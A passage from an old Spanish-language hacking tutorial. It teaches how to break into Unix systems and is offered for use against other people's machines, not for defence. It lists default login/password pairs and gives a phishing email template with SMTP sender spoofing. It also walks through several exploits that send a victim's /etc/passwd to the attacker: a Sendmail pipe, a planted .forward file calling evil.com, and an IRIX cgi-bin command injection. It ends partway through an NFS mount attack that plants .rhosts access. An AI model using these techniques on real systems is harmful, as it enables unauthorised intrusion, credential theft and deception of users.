o de los protocolos. Esto se da habitualmente en el IRC y considero que es
una perdida de tiempo... pero hay mucha gente que su cabecita no da para
mas y se entretiene con estas pijadas. ®Sera porque no son capaces de
enfrentarse a cosas mas serias?? :->
PA°WORD :Contraseña asociada a un login. Tambien se llama asi al
famoso fichero de UNIX /etc/pa°wd que contiene los pa°words del sistema
que se comentaran mas adelante en este texto.
PHREAKING: Consiste en evitar total o parcialmente el pago a las
grandes multinacionales. Este concepto se usa basicamente para referirse
al pago del telefono ya que tal y como esta Timofonica apetece. En general,
es complicado conseguirlo en España, pero hay que intentarlo. :->>
PIRATA:Persona dedicada a la copia y distribucion de software ilegal,
tando software comercial crackeado, como shareware registrado, etc...No
hay que confundir en absoluto este termino con el de hacker ya que tal como
se ve en las definiciones no tiene nada que ver.
PPP: Point-to-point protocol... RFC 1661.
PA°WORD CRACKER: Ver CRACKEADOR DE PA°WORD.
PGP: Pretty Good Privacy. Necesario cuando os paseis mails
"calentitos". Es un programa de encriptacion de llave publica.
PHRACK: zine sobre hack muy famosa.
PUERTO-PORT: Se define mas adelante en este texto.
PORT SCANNER: Programa que te indica que puertos de una maquina estan
abiertos. Mas adelante en este texto se explican estos conceptos mas
detenidamente.
ROOT,administrador, sysop: Persona que tiene control total sobre el
sistema y cuyo UID es 0.
ROUTER: Maquina de la red que se encarga de encauzar el flujo de
paquetes.
SNIFFER: Es un programa que monitoriza los paquetes de datos que
circulan por una red. Mas claramente, todo lo que circula por la red va en
'paquetes de datos' que el sniffer chequea en busca de informacion
referente unas cadenas prefijadas por el que ha instalado el programa.
SHELL: Este concepto puede dar lugar a confusion ya que una shell
en un sistema unix es un programa que interactua entre el kernel y el
usuario mientras que en nuestros ambientes significa el conjunto de login
y pa°word.... es decir que si alguien dice que cambia shells ya sabeis a lo
que se refiere no? :)
SUNOS: Sistema operativo de Sun.
SOLARIS: Sistema operativo de Sun.
SYSOP: Ver rOOt.
TCP/IP: Arquitectura de red con un conjunto de protocolos. Es la que
se suele usar en Internet.. para mas info sobre el tema cualquier libro de
TCP/IP es valido..
TONELOC: Posiblemente el mejor war dealer (como la cerveza) jeje
TRACEAR :Seguir la pista a traves de la red a una informacion o de una
persona.
UDP: Protocolo de comunicacion que a diferencia del TCP no es
orientado a conexion.
UNIX: Familia de sistemas operativos que engloba a SunOS, Solaris,
irix, etc..
VMS: Sistema operativo.
VIRUS: Es un programa que se reproduce a si mismo y que muy
posiblemente ataca a otros programas. Crea copias de si mismo y suele dañar
o joder datos, cambiarlos o disminuir la capacidad de tu sistema
disminuyendo la memoria util o el espacio libre.
WAR DIALER: Estos son programas (tambien se podria hacer a mano, pero
es muy pesado) que realizan llamadas telefonicas en busca de modems. Sirve
para buscar maquinas sin hacerlo a traves de internet. Estas maquinas suelen
ser muy interesantes ya que no reciben tantos ataques y a veces hay suerte y
no estan tan cerradas. ;o)
WORM: Ver gusano.
WINDOWS : Sistema operativo?? ;-) .. tambien llamado ventanukos.
ZAP: Zap es un programa que se usa para borrar las huellas en un
sistema. Debido a lo famoso que se ha hecho muchos programas que desarrollan
estas funciones se les llama zappers aunque precisamente este no es el
mejor ;o)
ZINE: Revista electronica
Nota: En este texto se va a dar unix por sabido y solo se comentaran
los aspectos del unix relacionados con el hacking.
1.- BUSCANDO LA MAQUINA OBJETIVO Y ALGO SOBRE UNIX ORIENTADO AL HACKING.
Lo primero que se ha de hacer, como es logico es determinar la
maquina objetivo. Esta decision se puede hacer en base a distintos criterios
como pueda ser que es una maquina especialmente interesante para ti o que es
una maquina que sabes o te han dicho que el rOOt no es un lumbreras. Bien,
sea como fuere, suponemos que se ha determinado la maquina objetivo.
Tras esto, se ha de recopilar la mayor informacion sobre esa maquina.
Lo mejor es empezar haciendo un escaneo de puertos a la maquina, esto
consiste en ir haciendo telnet's a todos los puertos de la maquina (normales
1-6000) para ver que programas contestan en cada puerto y su version, o si
el puerto esta cerrado. Por ejemplo: con un telnet normal (puerto 23) d
eterminaremos el sistema operativo, con un telnet 79 (finger) para obtener
informacion, entrar por el netstat (puerto 15 ) si lo tiene abierto (poco
usual), mirar si tiene pagina web y que demonio de http usa (puerto 80),
mirar la version del sendmail (puerto 25), ver si esta el systat abierto,
ver si tiene ftp anonimo en el 21, ver si ofrece nfs o nis, etc. Para esto
se necesita un escaneador de puertos de los que hay muchisimos en la red
(strobe, portscan, nmap, etc.)
Ademas, en caso de que quieras hackear victima1.microsoft.com, en caso
de que veas que no puedes hacer nada en esta maquina victima1, te puedes
plantear hackear otra del dominio microsoft.com, ya que si consigues root y
colocas un sniffer en victima2.microsoft.com ( o quiza con un poco de suerte
con el hosts.equiv o el .rhosts) seguramente podras conseguir cuentas en
victima1.microsoft.com. Posiblemente, esto no lo entiendas ahora, pero tras
leer todo el texto y tener un poco mas claro lo que es un sniffer, como
pillar root y demas, posiblemente le encontraras mas sentido a este parrafo
:o)
Nota para los que vayan un poco verdes en Unix:
El fichero hosts.equiv es un fichero que hay en los sistemas unix que
indica que maquinas pueden ejecutar comandos remotos en esta maquina sin
pedir ni login ni pa°word, es decir, indica las maquinas que son
confiables.
Igualmente, el fichero .rhosts es un fichero que hay en el HOME de
cada usuario que indica las maquinas a las que permite ejecutar un comando
remoto sin pedir pa°word.
Ademas, os recuerdo que con el comando host puedes obtener una lista
de maquinas pertenecientes a un dominio dado y que el comando traceroute
muchas veces puede ayudar ( recuerdo que el traceroute muestra el recorrido
que hacen los paquetes hasta llegar a la maquina destino).
Para todos aquellos que no tienen muy claro lo que son los puertos,
TCP, UDP, IP y demas cosas similares pueden ver el TCP IP Illustrated tomo
1 de Stevens o el famoso NETWORKING with TCPIP que ademas creo que tiene el
primer tomo traducido al castellano.
A continuacion se listan los mas interesantes en principio para las
aplicaciones que nos interesan (en los puertos que no ponga nada, se
refieren a tcp y los que se refieran a udp se indicara):
Numero Servicio Lo que hace
de Puerto
9 discard Dev/null--Basura
11 systat Informacion sobre los usuarios
13 La hora y fecha de maquina remota
15 netstat Mucha informacion sobre la red
17/tcp qotd Quote of the Day
19 chargen Generador de caracteres
21 ftp Transferenciadeficheros
22/tcp °h °H Remote Login Protocol
23 telnet Loginypa°
25 smpt Para crear email.
37 time La hora.
38/tcp rap RouteAcce°Protocol
39 rlp Localizacion del recurso
42/tcp name server HostName Server
43 whois Informacion sobre la red objetivo
49/tcp tacacs LoginHostProtocol(TACACS)
50/tcp re-mail-ck RemoteMailCheckingProtocol
53 domain Nombre de la maquina remota
63/tcp whois++ whois++
69/tcp tftp TrivialFileTransfer
70 gopher Buscador de informacion con bugs ;o)
79 finger Mucha informacion sobre los usuarios
80 http ServidorWeb
88/tcp kerberos Kerberos
107 rtelnet Telnet remoto
109/tcp pop2 PostOfficeProtocol-Version2
110 pop3 Email entrante Version3
111/tcp sunrpc SUN Remote Procedure Call
113/tcp auth Authentication Service
115/tcp sftp Simple File Transfer Protocol
117/tcp uucp-path UUCP Path Service
119 nntp Grupos de noticias Usenet
133/tcp statsrv Statistics Service
136/tcp profile PROFILE Naming System
137/tcp netbios-ns NETBIOSNameService
137/udp netbios-ns NETBIOSNameService
138/tcp netbios-dgm NETBIOSDatagramService
138/udp netbios-dgm NETBIOSDatagramService
139/tcp netbios-°n NETBIO°e°ionService
139/udp netbios-°n NETBIO°e°ionService
143/tcp imap InternetMe°ageAcce°Protocol (xploit remoto jeje)
144/tcp news NewS
161/tcp snmp SNMP
194/tcp irc InternetRelayChatProtocol
213/tcp ipx IPX
220/tcp imap3 InteractiveMailAcce°Protocolv3
443 shttp Otro servidor web teoricamente seguro
512/udp biff ndica a los usuarios que han recibido mail
513/tcp rlogin remote login
513/udp who who remoto y da info sobre la carga de la maquina
514/tcp shell Shell remota
514/udp syslog
515/tcp printer spooler
520 route Protocolo de informacion routing
529/tcp irc-serv IRC-SERV
Puedes obtener muchas listas de puertos en Internet por lo que os he
puesto una lista resumida aunque en realidad con la practica te sueles
remitir a un numero mas reducido de puertos pero eso que lo vea cada uno
kon la experiencia.
Tras saber que conocimientos se deben adquirir, ahora os comento los
programas que se deben tener para poder hacer cositas.
Bien, lo primero que comentaria es que es mas comodo hackear con
unix/linux que con el ventanukos ya que aunque es mas complejo, ofrece
muchas mas posibilidades ya que el mismo sistema operativo te ofrece
algunas ventajas que no ofrece el windows. No voy a entrar a comentar estas
diferencias pero si usas unix, basicamente solo has de pillarte un
escaneador de puertos y poco mas. Se ha de recordar que lleva incorporado el
compilador de c, perl, la mayoria de los programas de seguridad (satan,
cops, i°...) estan disponibles para unix asi como los programas para
hackear, y muchas mas kosas que ya iremos descubriendo como el tiempo.
Ademas unix te permite comandos interesantes como el host, rpcinfo, los
comandos remotos, etc.
Ademas, tal y como se ha comentado o comentara a lo largo del texto,
la informacion y estar actualizado en bugs y exploits es una de las cosas
mas importantes en este mundillo por lo que un consejo es que habitualmente
ojeeis las paginas de hack para pillar los ultimos bugs y xploits asi como
las listas de correo habilitadas para el respecto (bugtraq, firewall ,etc).
Tened en cuenta que la eficacia de un xploit es inversamente proporcional
al tiempo que hace que salio asi que no espereis entrar en muchas maquinas
con bugs de los años 80, entendeis la idea no?.
2.- INTRODUCCION A DISTINTOS SISTEMAS
En este texto se va a hablar de hackear maquinas Unix pero hay que
recordar que aparte del Unix tambien existen otros sistemas operativos para
mainframes y miniordenadores como el VMS para ordenadores VAX (de la marca
DEC, Digital Equipment Corporation), el VM/CMS, VM/ESA, etc para ordenadores
IBM, y otros sistemas operativos de menor profileracion.
Dentro de los UNIX se puede hacer diferencias:
SO Vendedor Procesador Proviene del
IRIX Silicon Graphics MIPS Rxx00 System V
ULTRIX Digital (viejo) MIPS R2/3000 BSD
Digital UNIX Digital (nuevo) System V (?)
AIX IBM BSD
HP-UX Hewlett Packard PA-RISC System V
SCO UNIX SCO Intel x86
FreeBSD (independiente) Intel x86 BSD
Linux (independiente) Intel x86 BSD
SunOS Sun (viejo) Sparc BSD
Solaris Sun (nuevo) Sparc / x86 System V
UNICOS Cray
OSF/1 DEC Alpha
ConvexOS Convex
Para entrar en un sistema, lo primero que has de saber es como
funciona ya que si no, no podras manejarte en el. Por esto es importante
conocer UNIX/LINUX ya que basicamente, conociendo este sistema operativo
podras moverte por el resto de sistemas unix aunque de vez en cuando te
encuentras de cada cosa por ahi que da miedo. A continuacion se describen
algunos sistemas y en algunos se indica la pinta que tienen para poder
identificarlos al hacerles un telnet ( Nota: esta info la he pillado de la
red y creo que es un poco vieja pero la pongo porque opino que puede servir
de algo):
VMS - La computadora VAX es creada por Digital Equipment Corporation
(DEC) y corre el sistema operativo VMS (virtual memory system). VMS se
caracteriza por su prompt 'Username:'. Este sistema no te dira si has
entrado un login correcto o no y te desconectara despues de tres malos
intentos. Tambien mantiene un record de todos los logins que fallaron e
informa al dueño de la cuenta la proxima vez que entre cuantos intentos
fallados se hicieron. Es uno de los sistemas mas seguros desde fuera pero ya
dentro tiene varios errores en la seguridad. Las VAX ademas tienen uno de
los mejores archivos de ayuda de entre los demas sistemas, para accesar a
esta ayuda solo escribe HELP en el prompt.
VM/CMS - Este sistema es ejecutado en las super computadoras de IBM
(International Busine° Machines) llamadas mainframes. Una vez conectado a
una de estas computadoras te mostrara un mensaje asi "VM/370 ONLINE", y te
dara un prompt "." justo como la TOPS-10 lo hace. Para entrar debes
ejecutar: LOGON <usuario>
DEC-10 - Operan el sistema operativo TOPS-10. Este tipo de maquinas
se reconocen por el prompt "." Las series DEC-10/20 son amables con los
hackers permitiendo varios intentos en el login prompt sin guardar un log
de los intentos fallados. Las cuentas estan en forma [xxx,yyy]. Lo mejor de
este sistema es la posibilidad de obtener informacion sobre las personas en
linea antes de entrar a el usando el comando systat. Si ves una cuenta que
lea [234,1001] BOB JONES, seria inteligente probar como pa°word BOB, JONES,
BOBBY, etc. Para entrar al sistema se usa el comando:
login xxx,yyy [enter]
pa°word:
Este sistema como antes lo habia dicho, permite intentos sin limite y
ademas te avisa si el login que estas usando existe.
PRIME - Esta computadora opera con el sistema operativo Primos. Son
faciles de detectar ya que lo reciben a uno con el mensaje
"Primecon xx.xx.xx" o algo parecido dependiendo de la version que te
encuentres. Usualmente no ofrecen ningun prompt asi que debes escribir
"login <usuario>". Si la version es anterior a la 18.00.00 puedes presionar
un monton de caracteres de escape o CTRL-C y entraras. Este sistema ofrece
la capacidad de conectarte a los NUAS de todo el mundo con el comando
NETLINK...sintax: nc <nua> Al hacer un telnet muestra un aspecto del tipo:
PRIMENET 19.2.7F PPOA1
<any text>
ER!
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
CONNECT
Primenet V 2.3 (system)
LOGIN (you)
User id? (system)
SAPB5 (you)
Pa°word? (system)
DROWSAP (you)
OK, (system)
DECSERVER - Las DECs son una serie de computadoras conectadas entre
si para formar una sola unidad de procesamiento, la funcionalidad de estos
sistemas es altamente utilizado por los hackers para quebrar pa°words de
cuentas unix por la rapidez del sistema. El prompt usualmente sera: "Enter
Username>" aunque yo he visto otros prompts en estos sistemas.
El nombre de usuario puede ser cualquier cosa, lo mejor sera presionar
algo nada sospechoso como `c' o algun numero. De ahi te presentara con el
prompt `local>'. De ahi debes ejecutar `c <sistema>' para conectarte. Para
obtener una lista de sistemas conectados ejecuta `sh' `services' o `sh
nodes'. En algunos sistemas DEC'S existen comandos como MODEM o DIAL que
permiten hacer uso de un modem para llamadas externas que te permitiran
marcar a BBS internacionales a expensas de la compaœia que opera el DEC. Al
hacer un telnet a este sistema sale algo del tipo:
DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1
DPS502-DS700
(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved
Please type HELP if you need a°istance
Enter username> TNO
Local>
AIX
IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.
login:
Lo reconoceras porque es el unico sistema Unix que borra la pantalla y
sale el login cerca del final de la pantalla.
CISCO Router
FIRST BANK OF TNO
95-866 TNO VirtualBank
REMOTE Router - TN043R1
Console Port
SN - 00000866
TN043R1>
Toda la info anterior expuesta anteriormente sobre los distintos
sistemas, la he cogido basicamente de la red y la mayoria no la he
comprobado por lo que es facil que haya errores por lo que os agradeceria
que me contaseis todos los bugs que encontreis en esta parte del texto sobre
distintos sistemas.
Igualmente, estoy interesado en toda la info que me pueda mandar la
gente sobre la identificacion de los distintos sistemas operativos y los
comandos y diferencias basicas entre los sistemas operativos. Como siempre,
mi mail esta abierto para este tipo de info ;--)
3.- CONSEGUIR UNA CUENTA
Una cuenta puede ser el primer paso para poder entrar en un sistema
(aunque hay bugs que te dan directamente una cuenta e incluso la de rOOt,
pero eso es caso aparte) por lo que en este capitulo se vera como conseguir
una cuenta.
Hay muchiiiiisimos metodos para conseguir una cuenta pero aqui se van
a contar los siguientes:
1.- Cuentas por defecto
2.- Ingenieria social
3.- Conseguir fichero pa°wd de manera remota con algun bug
4.- Conseguir directamente una cuenta con un bug
5.- PHF
6.- Xploits que te dan una shell remota
7.- Otros metodos
4.1.- Cuentas por defecto
Este es un metodo de locos y solo lo has de usar si vas muy perdido o
si estas muy desesperado ya que raras veces funcionan. Sinceramente, yo no
las he comprobado ya que nunca uso este metodo por lo que agradeceria
vuestras rectificaciones para posteriores ediciones del texto. Incluso hay
sistemas operativos muy raros que no se si seran viejos pero yo las incluyo
todos por si a alguien les sirven de algo. En posteriores ediciones ya se
hara un filtrado :o)
Aqui estan para varios sistemas:
Cuentas defaults en general:
adm
admin
ann
anon
anonymous/anonymous
backup
batch
bin
checkfsys
daemon
demo
diag
field
ftp
games
guest/guest
guest/anonymous
help
install
listen
lp
lpadmin
maint
makefsys
mountfsys
network
news
nobody
nuucp
nuucpa
operator
powerdown
printer
pub
public
reboot
rje
rlogin
root
sa
setup
shutdown
startup
sync
sys/sys
sysadm
sysadmin
sysbin/sysbin sysbin/bin
sysman
system
tech
test
trouble
tty
umountfsys
user/user user1/user1
uucp
uucpa
visitor
root/root
root/system
sys/sys
sys/system
daemon/daemon
uucp/uucp
tty/tty
test/test
unix/unix
unix/test
bin/bin
adm/adm
adm/admin
admin/adm
admin/admin
sysman/sysman
sysman/sys
sysman/system
sysadmin/sysadmin
sysadmin/sys
sysadmin/system
sysadmin/admin
sysadmin/adm
who/who
learn/learn
uuhost/uuhost
guest/guest
host/host
nuucp/nuucp
rje/rje
games/games
games/player
sysop/sysop
root/sysop
demo/demo
decnet/ddennet
guest/friend
field/service
guest/welcome
system/manager
default/user
decnet/nonpriv
field/digital
field/test
postmaster/mail
sysmaint/service
sysmaint/digital
system/operator
system/manager
system/syslib
system/uetp
systest_clig/systest
userp/user
sysadmin/admin
daemon/daemon
sysbin/sysbin
AIX
guest guest
DECserver
Acce°
System
VMS
autolog1/autolog o autolog1
cms/cms
cmsbatch/cms o cmsbatch
erep/erep
maint/maint o maintain
operatns/operatns o operator
operator/operator
rscs/rscs
smart/smart
sna/sna
vmtest/vmtest
vmutil/vmutil
vtam/vtam
field/service
systest/utep
systest_clig/systest
systest_clig/uetp
PRIME
Prime/prime
Prime/primos
Primos/primos
Primos/prime
primos_cs/prime
primos_cs/primos
primenet/primenet
system/system
system/prime
system/primos
netlink/netlink
test/test
guest/guest
guest1/guest
DEC10
1,2: SYSLIB or OPERATOR or MANAGER
2,7: MAINTAIN
5,30: GAMES
SGI Irix
4DGifts
guest
demos
lp
nuucp
tour
tutor
accounting
bo°
demo
manager
pdp8
pdp11
software
4.2.- INGENIERIA SOCIAL
Bien, este no es un metodo de hack en el sentido que todos pensais...
no tiene nada que ver con informatica ni con ordenadores ni tcp/ip ni unix
ni nada de eso sino que simplemente consiste en ser un poco picaro ;o).
La ingenieria social se basa en que hay mucha gente por ahi que tiene
una cuenta (tanto de un proveedor de internet como una shell) y que no esta
muy alerta jeje. En fin, como os comento hay varios metodos para obtener
cuentas usando ingenieria social, aqui simplemente cuento algunos para que
os hagais una idea pero cada uno que piense y su imaginacion le dara algunos
truquillos mas.
En fin, el metodo e-mail es el mas importante por el que sera el que
mas desarrollaremos en este texto aunque tambien se podria hacer por
telefono. La idea es sencilla.. enviar un mail (anonimo) a alguien para que
te de el login y el pa°word. Parece dificil que traguen, no?.. pues os
puedo asegurar que no lo es. }-)
Simplemente envia un mail de este estilo:
Estimado señor Lopez: (Importante conocer la identidad de la persona para
darle mas confianza)
El objeto de este correo electronico es comunicarle que debido a
mantener la seguridad de nuestro sistema victima.com, se requiere que envie
un mail con sus datos personales y su login y su pa°word ya que en nuestro
sistema es muy importante la seguridad y deseamos mantenerla con estos
chequeos rutinarios.
Agradeciendo su atencion se despide
Pepito Rodriguez pepito@victima.com
Administrador del sistema victima.com
Para enviar un mail para falsear el remitente, lo que se debe hacer es
hacer un telnet a una maquina unix que tenga el puerto 25 abierto y dar los
siguientes pasos:
Lo primero que se ha de hacer es un telnet maquinacon25.com 25, cuando
te diga que ya estas conectado, has de hacer:
helo ingenieria@social.com >pleased to meet ingenieria@social.com
Tras esto has de decir quien quieres que aparezca como remitente con
el comando mail from:
mail from: ingenieria@social.com
> ingenieria@social.com... Sender is valid.
Si sale esto, todo va bien.. por lo que tendras que indicar quien es
el destinatario usando el comando rcpt
rcpt to: bill@gates.com
> "bill@gates.com"... Recipient okay
Tras esto, lo que se ha de hacer es indicar el mensaje en si con el
comando data y cuando quieras acabar pones un . en una linea.. algo asi:
data
> Enter mail, end with "." on a line by itself
Hola Bill
.
> Mail accepted
Con esto el mensaje ya esta enviado, y para cerrar la conexion has de
usar quit.
> connection is closed.
En realidad con esto no se consigue un mail anonimo sino que lo que
consigues es especificar el remitente que tu quieres. Para enviar mail
anonimo has de usar servidores de correo anonimo o hacer este mensaje
enlazando unos mails con otros.
Para saber si un servidor es anonimo has de hacer:
HELO servidor@anonimo.com
Y si cuando el servidor responde no aparece tu IP por ningun lado,
entonces es un servidor anonimo o pseudoanonimo.
Este texto puede estar mucho mas elaborado.. pero ya os servira para
ver la idea y creedme este metodo funciona y por otro lado no es complicado
de hacer ;o)
La pregunta ahora es... como sabemos los telefonos o los mails de la
gente de victima.com???. Bien, hay varias respuestas.. muchas veces por
casualidad (un vecino, un compañero de clase, etc), otras pasandotelas otro
hacker (a saber de donde vendran ≠!) y algunos metodos mas entre los que
destacaria el finger. El finger es el puerto 79 y si el host victima.com lo
tiene abierto, simplemente telnetealo y usando finger -l @victima.com
sacaras informacion sobre la gente que esta concectada a victima.com asi
como otra informacion interesante como su email. Luego puedes ir probando
con finger -l nombre_usuario@victima.com con lo que obtendras aun mas
informacion del sistema.
Tambien se puede hacer finger root@victima.com , guest@victima.com,
etc con lo que obtendras informacion sobre ellos aunque no esten
conectados.
Tambien se ha de tener en cuenta que a veces el puerto 79 esta abierto
pero no te da informacion. Esto puede ser porque esta usando tcp-wrappers,
pero eso es tema aparte, simplemente lo comento para que sepais que os
puede pasar.
Este metodo, y usando este script, os puede hacer conseguir muchos
pa°words pero hay que currarselo mucho :o(. Obviamente, solo pensando un
poco se te pueden ocurrir muchas mas maneras de aprovechar el finger ya que
da bastante informacion sobre los usuarios aunque esta informacion cuando es
realmente util es combinada con otros sistemas de ataque :)
Hay muchos mas sistemas de ingenieria social como la chica necesitada
de ayuda en el irc y cosas parecidas, pero tampoco creo que valga demasiado
la pena explicarlo mas. Ademas, como en todos estos temas, el unico limite
es tu imaginacion :o)
Como es pesado buscar manualmente, puedes buscar maquinas con finger
usando un script hecho en shell y usando listas de hosts como las que se
explicaran en el apartado de nfs.
Ademas, para los que veais que este metodo es un poco coñazo, el
script este siempre es util ya que tened en cuenta que las maquinas que
tengan el finger abierto son maquinas que no estan muy concienciadas por la
seguridad no?.. jeje.. mejor no sigo dando ideas :o) aunque tened en cuenta
que esto no siempre sera cierto ya que es posible que usen los tcp-wrappers.
Nota: El tcp-wrapper es un programa que permite filtrar ip por los
distintos puertos e indicar que demonio o programa se ejecuta en cada uno
de los puertos por lo que podeis ver todas las aplicaciones maleficas que
pueden conseguir los roots usando este tipo de programas por lo que cuidado
ahi fuera.
4.3.- CONSEGUIR FICHERO DE PA°WD A TRAVES DE ALGUN BUG
En fin, hay muchos bugs y xploits que te permiten el acceso al fichero
de pa°wd pero aqui voy a exponer algunos que aunque son antiguos son
bastante ilustrativos (para pillar xploits nuevos, a buscar por la red ke
hay muchos.. de todos modos, en los apartados de pillar root, pondre xploits
modernos y que funcionan ;o).. estos los he elegido aunque sean un poco
antiguos porque son bastante ilustrativos:
Sistemas: Unix's en general, espacialmente AIX y SUNOS
Versiones: Sendmail, versiones anteriores a la 5.57 que no esten parcheadas
tumaquina% telnet victima.com 25
Trying X.Y.Z.A...
Connected to victima.com
Escape character is '^]'.
220 victima.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail tu_direccion@de_correo.com < /etc/pa°wd"
250 "|/bin/mail tu_direccion@de_correo.com < /etc/pa°wd"... Sender ok
rcpt to: loquequieras
550 loquequieras... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
Notas:
-victima.com = nombre del ordenador a hackear
-mimaquina = nombre de nuestro ordenador
-Lo que aparece con un numero delante son mensajes de nuestra victima,
el resto es lo que tienes que escribir.
La idea de este bug, es que usualmente, en el sendmail en la linea de
mail from: pondrias pepe@uno.es , pero sin embargo, y la gracia esta aqui,
le dices que te mande el fichero /etc/pa°wd. Pero os digo una cosa
sinceramente, este bug no funciona casi nunca, y si funciona, felicidades,
estas en una maquina que el rOOt no tiene ni puta idea.
Como conseguir el fichero /etc/pa°wd si el ftp esta mal configurado
La victima debe de tener una copia completa del fichero /etc/pa°wd en
su ftp anonimo -ftp/etc en vez de una version reducida. Sin embargo, puedes
ver que normalmente nunca aparece el fichero verdadero :( , pero el home
directory de "ftp" puede ser escribible en victim.com. Esto te permite
ejecutar comandos remotamente - en este caso, mandarte el archivo por mail
a ti mismo - por el simple metodo de crear un archivo .forward que ejecuta
un comando cuando un mail es mandado a la cuenta "ftp".
evil % cat forward_sucker_file
"|/bin/mail zen@evil.com < /etc/pa°wd"
evil % ftp victim.com
Connected to victim.com
220 victim FTP server ready.
Name (victim.com:zen): ftp
331 Guest login ok, send ident as pa°word.
Pa°word:
230 Guest login ok, acce° restrictions apply.
ftp> ls -lga
200 PORT command succe°ful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 2 0 1 512 Jun 20 1991 bin
drwxr-xr-x 2 0 1 512 Jun 20 1991 etc
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
evil % echo test | mail ftp@victim.com
Ahora simplemente tienes que esperar a que el fichero de pa°words te
sea enviado.
Ejecutar comandos de manera remota en Irix con cgi-bin/handler
El cgi-bin/handler en los sistemas IRIX permite la lectura y escritura
de ficheros. Sin embargo existe un bug que da paso a la ejecucion remota de
comandos. El sistema intentara abrir el fichero (taluego_Lucas) y si no
existe dara un mensaje de error para a continuacion ejecutar el comando
que sigue. Muy importante, el espacio entre el comando cat y su argumento
es un *tabulador* (TAB), no se admiten espacios asi que aunque podeis poner
otro comando que no sea cat no podreis poner ningun comando que requiera
espacios.
$ telnet victima.com 80
$ GET /cgi-bin/handler/taluego_Lucas;cat /etc/pa°wd|?data=Download
$ HTTP/1.0
En IRIX 6.3 se intento arreglar esto pero lo unico que se consiguio
fue que el formato del bug pase a ser:
$telnet victima.com 80
$GET /cgi-bin/handler/whatever;cat /etc/pa°wd| ?data=Download
$HTTP/1.0
Con un nuevo TAB para "engañar" al script PERL.
Hay muchos mas, pero no me apetece seguir buscando.. quiza para
posteriores ediciones...ademas en esta categoria tambien entra el PHF que
esta explicado mas adelante.
4.4.- MOUNT
Este no es un bug, sino un defecto de configuracion del NFS. Aqui voy
a intentar explicarlo extensamente para que sepais lo que estais haciendo:
El NFS (Network File System) es un sistema de red que permite que una
maquina servidor pueda hacer disponibles sistemas de archivos y dispositivos
perifericos a maquinas clientes. Asi, la maquina cliente podra montar esos
directorios pudiendolos usar como si los poseyera.
Otra cosa muy distinta es lo que se pueda hacer con los ficheros
incluidos en dichos directorios (si se pueden borrar, modificar, alterar
los permisos, etc), lo cual depende de la configuracion del NFS. En
realidad, no es dificil configurar el NFS para que no pueda haber problemas
de seguridad, usando las opciones ro y rw en la configuracion que indican
que clientes tienen acceso de lectura y escritura respectivamente. Por
tanto, los problemas aparecen cuando no han sido utlidas estas opciones
correctamente y cualquier usuario remoto puede leer y escribir... gracias a
dios hay root que dan facilidades :o)
Mount es el comando en unix que permite montar archivos en tu maquina
para conseguir el objetivo expuesto anteriormente.
Para ver si una maquina remota con NFS tiene files montables se hace
siendo root en la maquina donde estas usando el comando showmount. Este
comando se utiliza para determinar que sistema ha montado un sistema de
archivos desde un sistema dado. Con el parametro -a muestra todos los
sistemas de archivos que se han montado desde el nodo servidor mientras que
el comando -e muestra la lista de todos los sistemas de archivos exportados.
Como root, has de ejecutar en tu maquina:
$root> showmount -e hostvictima.com
mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive
Si la respuesta es algo de este estilo... quiere decir que no ha
habido suerte :o(
$root> showmount -e otra.net
Export list for otra.net:
/var/mail makina1.otra.net
/home/user1 makina1.otra.net
/usr/local pluto.seva.net,rover.seva.net
/export/X11R6.3 makina2.otra.net
/export/rover makina1.otra.net,makina2.otra.net
En esta maquina no hay accesos del tipo everyone que sean interesantes
:o( .. bueno con otras tecnicas mas avanzadas si.. pero no son el objeto de
este texto ;o)
Seguimos buscando hasta que encontremos una maquina victim.com que nos
ponga algo del tipo
/home (everyone)
o
/ (everyone)
BINGO!!!!!
Una vez pillemos una makina de estas caracteristicas, se pueden hacer
muchas cosas pero voy a explicar el metodo tipico expuesto en los textos de
hacking aunque pensando un poko se te pueden okurrir otros :)
Lo que vamos a hacer es crear una cuenta rapper (rapper es el nombre
de un usuario de la maquina remota.. para cada caso sera uno distinto) en
nuestro fichero de pa°wd local ( es decir, el de nuestra maquina) y luego
como usuario rapper ( cambiamos a ese usuario con el su) pondremos una
entra .rhosts en su directorio home para poder hacer un rlogin sin pa°word.
Primero, creamos el directorio donde lo vamos a montar
mimaquina:~>mkdir /tmp/mount
mimaquina:~>mount -nt nfs victim.com:/home /tmp/mount/
y con esto ya tendremos montado el directorio de la maquina remota en
nuestra maquina local con lo que haciendo un ls en /tmp/mount veremos todos
sus archivos :o)
mimaquina:~>ls -lsa /tmp/mount/
total 9
1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./
1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../
1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/
1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/
1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/
1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/
1 -rw------- 1 root root 242 Mar 9 1997 sudoers
1 drwx------ 3 test 100 1024 Oct 8 21:05 test/
1 drwx------ 15 102 100 1024 Oct 20 18:57 rapper/
Vemos que hay un usuario llamado rapper cuyo UID (User Identification)
es 102 por lo que lo tendremos que incluir en el /etc/pa°wd de nuestra
maquina:
mimaquina:~>echo "rapper::102:2::/tmp/mount:/bin/csh" >> /etc/pa°wd
mimaquina:~>su - rapper
Welcome to rapper's user.
mimaquina:~>ls -lsa /tmp/mount/
total 9
1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./
1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../
